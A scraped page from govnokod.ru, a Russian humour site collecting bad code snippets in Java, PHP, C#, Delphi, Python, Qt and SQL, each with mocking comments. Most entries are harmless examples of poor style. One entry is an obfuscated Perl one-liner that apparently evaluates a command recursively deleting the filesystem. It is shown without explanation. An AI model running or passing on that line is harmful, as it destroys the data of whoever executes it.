- 1
- 2
- 3
if (url == null) {
throw new RuntimeException("Error reading resource " + url.getFile());
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+143
if (url == null) {
throw new RuntimeException("Error reading resource " + url.getFile());
}
+177
if(strlen($text)) return $text;
return "";
+126
private void SetBorderColor()
{
if (AuthInfo.BorderColor)
{
LinearGradientBrush lcBrush = new LinearGradientBrush();
lcBrush.StartPoint = new Point(0.5, 0);
lcBrush.EndPoint = new Point(0.5, 1);
lcBrush.GradientStops.Add(new GradientStop() { Color = Color.FromArgb(100, 249, 249, 249) });
lcBrush.GradientStops.Add(new GradientStop() {Color = Color.FromArgb(100,75,139,180), Offset = 0.331});
lcBrush.GradientStops.Add(new GradientStop() { Color = Color.FromArgb(100, 75, 139, 180), Offset = 0.853 });
lcBrush.GradientStops.Add(new GradientStop() { Color = Color.FromArgb(100, 249, 249, 249), Offset = 1 });
this.rectBackGround.Fill = lcBrush;
}
else
{
LinearGradientBrush lcBrush = new LinearGradientBrush();
lcBrush.StartPoint = new Point(0.5, 0);
lcBrush.EndPoint = new Point(0.5, 1);
lcBrush.GradientStops.Add(new GradientStop() { Color = Color.FromArgb(100, 249, 249, 249) });
lcBrush.GradientStops.Add(new GradientStop() { Color = Color.FromArgb(100, 206, 109, 109), Offset = 0.331 });
lcBrush.GradientStops.Add(new GradientStop() { Color = Color.FromArgb(100, 206, 109, 109), Offset = 0.853 });
lcBrush.GradientStops.Add(new GradientStop() { Color = Color.FromArgb(100, 249, 249, 249), Offset = 1 });
this.rectBackGround.Fill = lcBrush;
}
}
ОПТИМИЗИРОВАНО!!!
я плакаль)
+102
boo:=false;
j:=length(edit1.text);
for i:=1 to stringgrid1.RowCount do begin
le:=length(stringgrid1.Cells[temp,i]);
if (temp=1) or (temp=5) then begin
if not (j>le) then
for npo:=1 to ((le-j)+1) do begin
str:=copy(Stringgrid1.cells[temp,i],npo,j);
str_po:=str;
if AnsiSameText(edit1.Text,str) then begin
stringgrid1.Row:=i;
boo:=true;
break;
end;
end;
end;
Еще один шедевр. Выполняет поиск введенного текста в Edit в заданой колонке Strinngrid'а.
+159
class MysqlResultSet implements Iterator{
private $strSQL;
private $databasename;
private $connection;
private $result;
private $valid;
private $currentrow;
private $key;
const INDETERMINATE_TOTAL_NUMBER = 5001;
const UNNECESSARY_SQL_CALC_FOUND_ROWS = 5002;
const NOT_SELECT_QUERY = 5003;
public function __construct( $strSQL, $databasename, $connection ){
$this->strSQL = $strSQL;
$this->connection = $connection;
$this->databasename = $databasename;
if(!mysql_selectdb($databasename, $connection)){
throw new MySQLException(mysql_error(), mysql_errno());
}
if(!$this->result = mysql_query($strSQL, $connection)){
throw new MySQLException(mysql_error(), mysql_errno());
}
if (stristr($strSQL,"SQL_CALC_FOUND_ROWS")){
$msg = "No need to use SQL_CALC_FOUND_ROWS.";
throw new MySQLException($msg, self::UNNECESSARY_SQL_CALC_FOUND_ROWS);
}
$this->rewind();
}
public function __destruct(){
$this->close();
}
public function __call($name, $args){
$args = null;
$name = "mysql_". $name;
if(function_exists($name)){
return call_user_func_array($name, $args);
}
}
# Ну и так далее...
31-38 строки: Не понятно, зачем нужно было вообще этот класс писать?!
32-ая строка вообще сногсшибательна... (P.S. Из одной book по ООП в PHP5)
−155
$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see
−171
ms = decode_mail_headers(decodeUnknown(message.get_charset(), message.get('Subject', 'Created from e-mail'))).replace("Re: ", "").replace("Fwd: ","").replace("Fw: ", "").rep lace("RE: ", "").replace("FW: ", "").strip()
Веселые программисты не знают регэкспов в питоне.
+157
void QeLabel::mouseReleaseEvent(QMouseEvent *ev) {
switch (ev->button()) {
case Qt::LeftButton : {
click++;
click %=2;
if (click == 0) {
emit dbl_clicked(id);
}
emit clicked(id);
break;
}
default: break;
}
}
сигналы на нажатие мыши
+162
private function trailing_slash_check($str)
{
if ((strrpos($str, '/') + 1) != strlen($str))
{
$str = $str.'/';
}
return $str;
}
−196
SELECT SQL_CALC_FOUND_ROWS h.hotel_id , h.class, h.review_score, hr.view_count, MIN(r.min_price) as min_price
FROM hotel_facility hf11, hotel_facility hf39, hotel h
LEFT JOIN hotels.room r ON r.hotel_id = h.hotel_id
LEFT JOIN hotels.hotel_reiting_our hr ON h.hotel_id = hr.hotel_id
WHERE h.is_closed != 1 AND city_id=2760 and h.hotel_id = hf11.hotel_id and h.hotel_id = hf39.hotel_id AND hf11.hotelfacilitytype_id = 11 AND hf39.hotelfacilitytype_id = 39
GROUP BY h.hotel_id
ORDER BY h.ranking DESC;